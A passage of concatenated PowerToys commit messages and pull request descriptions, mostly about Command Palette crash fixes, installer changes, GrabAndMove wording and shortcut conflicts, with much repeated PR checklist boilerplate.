pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Setting any ZoomIt shortcut to the same sequence as other shortcuts
won't produce the MessageBox anymore.
The easiest is to use the default shortcuts and to bind the last one,
**Panorama activation** to `Ctrl+7` (instead of the default `Ctrl+8`).
`Ctrl+7` clashes with the ZoomIt **DemoType activation** shortcut. To
make the MessageBox pop-out before the fix, takes pressing a few
`Ctrl+1`s (the default **Zoom activation**).
---------
Co-authored-by: Copilot <copilot@github.com>
## Summary
Follow-up fix for #47177. Installs `CommandPalette.Extensions.winmd` to
the `WinUI3Apps\` directory (ExternalLocation) instead of the root
install folder.
## Problem
PR #47177 moved the sparse package's `ExternalLocation` from root to
`WinUI3Apps\`, but the `CommandPalette.Extensions.winmd` was still
installed to root via `DirectoryRef=INSTALLFOLDER`. The WinRT runtime
needs this winmd in the ExternalLocation directory for COM proxy/stub
creation during cross-process CmdPal extension activation. Without it,
`CoCreateInstance` returns `E_NOINTERFACE` and the PowerToys extension
fails to load in Command Palette.
## Fix
Split the `BaseApplications.wxs` `DirectoryRef` into two blocks:
- **winmd component** -> `WinUI3AppsInstallFolder` (for WinRT COM
marshalling)
- **auto-generated components** -> `INSTALLFOLDER` (unchanged, avoids
ICE30 conflict with `WinUI3ApplicationsFiles`)
## Validation
- [x] Local WiX compilation: no ICE30 errors
- [x] ADO CI build 145429943 (v0.99.1): passed
- [x] Manual verification on 25H2: CmdPal loads 55 commands after winmd
placed in WinUI3Apps
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
PR changes example text to outlook instead of outlook.exe, which can
match both old version and new version.
The placeholder text suggested 'outlook.exe', but new Outlook runs as
olk.exe so the .exe-based entry fails both path and title matching.
Using 'outlook' (without .exe) works correctly via window title
matching.
Fixes#47103
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #47103
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Adds missing module entries to the bug report issue template so
reporters can classify issues for Grab And Move and Power Display in the
existing **Area(s) with issue?** multi-select.
## Summary of the Pull Request
- **Issue template update**
- Extended `.github/ISSUE_TEMPLATE/bug_report.yml` dropdown options for
`Area(s) with issue?`.
- Added:
- `Grab And Move`
- `Power Display`
```yaml
- type: dropdown
attributes:
label: Area(s) with issue?
options:
- FancyZones
- FancyZones Editor
- Grab And Move
# ...
- Peek
- Power Display
- PowerRename
```
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
- **Scope**
- Single-file, metadata-only change in the bug-report template.
- **Behavioral impact**
- Improves triage categorization for two modules that were not
previously selectable in the issue form.
## Validation Steps Performed
- Confirmed the issue template includes both new options under `Area(s)
with issue?`.
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
Step-by-step guide for diagnosing old update installer accumulation,
covering log files to check, UpdateState.json interpretation, and common
root causes.
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Change the formatting from:
"PR description in #123. Thanks @user"
to
"PR description in #123 by @user"
----
this follows the GitHub release notes format and makes sure people are
correctly listed at the bottom of the release page
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Fixes two bugs in the Light Switch ↔ PowerDisplay integration:
1. **Settings UI was hidden.** The "Apply monitor settings" expander
(dark/light profile pickers) and the "PowerDisplay disabled"
warning InfoBar were temporarily commented out in PR #46160. Users
had no way to configure which profile to bind to each theme.
2. **Hotkey only applied one profile.** On every hotkey press
ModuleInterface flips the Windows theme, but the service only
notified PowerDisplay when `isManualOverride` toggled from `false`
to `true`. Every even-numbered press was silently dropped, so the
monitor profile stayed stuck on whichever direction the user
pressed first.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This is a refresh based on
976261d7b7
There are a couple of interesting new rules and I've extended one of the
patterns to all letters.
Signed-off-by: Josh Soref <2119212+jsoref@users.noreply.github.com>
This isn't the same crash as #47148. It's another one.
Undoubtably regressed in #46907
The function signature was all wrong. Hence the
`System.ExecutionEngineException`
Tested manually.
This is worse after the compact mode change fixed our frame margins. We
hide our window frame with DWM. However, we only did that when we we
`Activated`. Turns out, when the window is first created? we're not
`Activated`. So until you focus another window, we'd look... objectively
bad.
## Summary of the Pull Request
Enables Windows Terminal profiles to be **pinned to the Command Palette
dock** and shows **per-profile icons** instead of the generic Terminal
app logo.
### Dock Pinning
**Root cause:** `LaunchProfileCommand.Id` was never set (defaulted to
`string.Empty`). The context menu factory checks
`!string.IsNullOrEmpty(itemId)` before showing "Pin to Dock", so the
option was silently hidden. Additionally, `GetCommandItem()` was not
overridden, so pinned commands could not be resolved on load.
**Fix:**
- Set stable `Id` on `LaunchProfileCommand` (format:
`terminal/{appUserModelId}/{profileName}`)
- Rename constructor parameter `id` → `appUserModelId` to avoid
ambiguity with the generated command `Id`
- Override `GetCommandItem(string id)` in
`WindowsTerminalCommandsProvider` to look up profile items by ID
<img
src="https://github.com/user-attachments/assets/81c7acfc-09b5-40ab-be1d-8f268b24219b">
### Per-Profile Icons
**Root cause:** All profiles showed the same Terminal application logo.
The per-profile `icon` field from Terminal settings.json was parsed into
`TerminalProfile.Icon` but never used.
**Fix:**
- Add `InstallPath` to `TerminalPackage` (from `Package.InstalledPath`)
- Add `ResolveProfileIcon()` helper to `TerminalHelper` that resolves
`ms-appx:///` URIs to the Terminal package install directory (with scale
variant probing), passes through file paths and glyphs, and falls back
to the Terminal logo
- Cache the resolved icon in a local variable to avoid duplicate
filesystem IO per profile
- Set resolved per-profile icon on both `ListItem.Icon` and
`LaunchProfileCommand`
<img
src="https://github.com/user-attachments/assets/a9a476e2-7932-4457-bf04-bc346f2ad971">
### Robustness
- Use `Guid.TryParse` instead of `Guid.Parse` when reading profile GUIDs
from settings.json, so a malformed or empty GUID value does not throw
and take down the entire profile list
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
**Files changed:**
- `Commands/LaunchProfileCommand.cs` — Assigns stable `Id`, renames `id`
→ `appUserModelId` throughout, adds `static MakeId()` helper
- `Helpers/TerminalHelper.cs` — Adds `ResolveProfileIcon()`,
`TryResolveGuidIcon()`, and `ResolveAppxPath()` helpers; hardens GUID
parsing with `Guid.TryParse`
- `Helpers/TerminalQuery.cs` — Passes `p.InstalledPath` to the
`TerminalPackage` constructor
- `Pages/ProfilesListPage.cs` — Resolves and caches icon path per
profile; sets `ListItem.Icon`
- `TerminalPackage.cs` — Adds `InstallPath` property
- `WindowsTerminalCommandsProvider.cs` — Overrides
`GetCommandItem(string id)` for dock-pinned command rehydration; removes
unused `using` directive
## Validation Steps Performed
- [x] Build clean with exit code 0
- [x] Dock pinning tested and working — "Pin to Dock" option appears and
survives restart
- [x] Per-profile icons verified — each profile displays its own icon in
both the list and the dock
---------
Co-authored-by: Michael Jolley <mike@baldbeardedbuilder.com>
Co-authored-by: Mike Griese <migrie@microsoft.com>
## Summary
One-line fix for
[#46928](https://github.com/microsoft/PowerToys/issues/46928) — unable
to disable built-in and third-party extension fallback commands in
Command Palette.
## Problem
In `TopLevelViewModel.cs`, the constructor checked:
```csharp
if (IsFallback && commandItem is FallbackCommandItem fallback)
```
This uses the **concrete toolkit class** `FallbackCommandItem`. However,
extensions loaded out-of-process via WinRT/COM only expose **interface
proxies** — they never match the concrete class. As a result,
`_fallbackId` was never set, and the settings toggle to disable a
fallback command had no effect.
## Fix
Changed the type check to use the `IFallbackCommandItem2` WinRT
interface (which defines the `Id` property):
```csharp
if (IsFallback && commandItem is IFallbackCommandItem2 fallback)
```
The `IFallbackCommandItem2` interface is already defined in the
Extensions IDL and implemented by `FallbackCommandItem` in the toolkit.
This correctly matches both in-process and out-of-process extension
objects.
## Validation
- [x] Build clean (`Microsoft.CmdPal.UI.ViewModels` — exit code 0)
- [x] No ABI or schema changes
- [x] Single file changed, single line modified
Fixes#46928
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
⚠️ I'm not sure if this is the actual fix..
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #47150
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Add reentrancy guard for FilteredItems ObservableCollection mutations.
WinUI3's native XAML renderer can pump the message loop while processing
a CollectionChanged notification from InPlaceUpdateList. This allows a
second DoOnUiThread task to begin mutating FilteredItems while the first
is still mid-update, causing heap corruption and an access violation
(0xc0000005) in ntdll.dll.
The fix introduces RunFilteredItemsUpdate() which uses a boolean flag to
detect same-thread reentrancy (C# lock is reentrant so _listLock cannot
prevent this). When reentrancy is detected, only the latest pending
update is stored and executed after the in-flight mutation completes,
ensuring the UI converges to the newest state without overlapping
mutations.
Fixes: 100% reproducible crash in CmdPal when typing any character in
the search box (build ID 145015494).
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #47145
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary of the Pull Request
[PR #47052](https://github.com/microsoft/PowerToys/pull/47052)
introduced a **Win** option alongside **Alt** for the GrabAndMove
activation modifier (`GrabAndMove_ModifierKey` dropdown, `Alt` / `Win`).
However several user-facing strings in Settings still hardcode `Alt`,
which now misrepresents the feature when a user has selected `Win` as
the modifier.
This PR updates the wording of those strings to be modifier-agnostic.
### Strings changed (en-us)
| Key | Before | After |
|---|---|---|
| `GrabAndMove.ModuleDescription` | Move and resize windows with
**Alt+Drag**. Left-click to move, right-click to resize. | Move and
resize windows by holding **a modifier key** and dragging. Left-click to
move, right-click to resize. |
| `Oobe_GrabAndMove_HowToUse.Text` | Hold **Alt** and left-click drag...
Hold **Alt** and right-click drag... | Hold the **activation modifier
key** and left-click drag... Hold the **activation modifier key** and
right-click drag... |
| `GrabAndMove_UseAltResize.Header` | Enable **Alt + Right-click** to
resize | Enable **modifier + right-click** to resize |
| `GrabAndMove_UseAltResize.Description` | Hold **Alt** and right-click
to resize... | Hold the **activation modifier key** and right-click to
resize... |
| `GrabAndMove_ExcludeApps.Description` | Excludes an application from
being moved or resized **with Alt+Drag** - add one application name per
line | Excludes an application from being moved or resized **by Grab And
Move** - add one application name per line |
`GrabAndMove_ShouldAbsorbAlt` strings are intentionally left unchanged
ΓÇö that toggle is genuinely Alt-specific (it suppresses the window-menu
activation triggered by Alt).
## PR Checklist
- [x] **Closes:** follow-up to #47052
- [x] **Communication:** no additional comms needed
- [x] **Tests:** N/A (en-us resource strings only)
- [x] **Manual Tests:** Launched Settings UI, verified the GrabAndMove
page renders the new strings correctly (module description, `Enable
modifier + right-click` toggle header/description, excluded-apps
description). Verified OOBE `How to use` text renders with the updated
phrasing.
- [x] **Localization:** Only `en-us/Resources.resw` updated; other
locales will pick up the new English strings via the standard
localization pipeline.
- [x] **No dev docs required**
## Detailed Description of the Pull Request / Additional comments
- Scope is deliberately kept to wording only ΓÇö no logic, IPC, or XAML
bindings touched. Resource keys are preserved, so nothing else needs to
change.
- CC @GordonLamMSFT as the GrabAndMove / #47052 author.
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Making sure it's using the right shade of black :)
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #47152
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
- Small tweaks to a few setting strings
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #47151
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
- Consistent naming: `Power Display`
- Making the flyout a bit smaller
- Removing dead code (titlebar button colors)
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #47153
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
Fixes the CmdPal Dock not refreshing when a command is pinned or
unpinned. The dock now immediately reflects pin/unpin changes without
requiring a CmdPal restart.
**Root cause:** `DockViewModel._settings` was cached at construction and
only refreshed via the `SettingsChanged` event. However, pin/unpin
operations in `CommandProviderWrapper.PinDockBand()` / `UnpinDockBand()`
intentionally save with `hotReload: false` (to avoid double-updates), so
`SettingsChanged` never fires. When `DockBands_CollectionChanged` called
`SetupBands()`, it iterated over the stale `_settings` which didn't
include the newly pinned band.
**Fix:** Re-read `DockSettings` from the settings service at the top of
`DockBands_CollectionChanged`, ensuring `SetupBands()` always sees the
latest persisted state.
## PR Checklist
- [x] Closes: #47155
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized —
N/A (no UI string changes)
- [ ] **Dev docs:** Added/updated — N/A (no public API or behavior doc
changes)
## Detailed Description of the Pull Request / Additional comments
Single-line change in
`src/modules/cmdpal/Microsoft.CmdPal.UI.ViewModels/Dock/DockViewModel.cs`:
```csharp
_settings = _settingsService.Settings.DockSettings;
```
Added before the existing `SetupBands()` call inside
`DockBands_CollectionChanged`. The edit-mode guard (`_isEditing`) is
already checked earlier in the method, so drag/drop operations are
unaffected.
This fix covers both pin and unpin flows since both use the same
`hotReload: false` → `CommandsChanged` → `DockBands_CollectionChanged`
code path.
## Validation Steps Performed
- Built `Microsoft.CmdPal.UI.ViewModels.csproj` — exit code 0, no
warnings related to change
- Verified unpin flow uses the same code path and benefits from the fix
- Manual verification: pin a command via CmdPal → dock updates
immediately without restart
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Fixes a mismatch where 8 modules inherited the default
`is_enabled_by_default() = true` from `PowertoyModuleIface` while
`EnabledModules.cs` declared them `false`. On a clean install the Runner
would enable these modules on first launch, then Settings UI would flip
them back off once it persisted `settings.json` — a one-time visible
flicker and a DSC compliance gap.
Adds an explicit `is_enabled_by_default() const override { return false;
}` in the following module interfaces so both sides of the default
agree:
- `src/modules/launcher/Microsoft.Launcher/dllmain.cpp` (PowerToys Run)
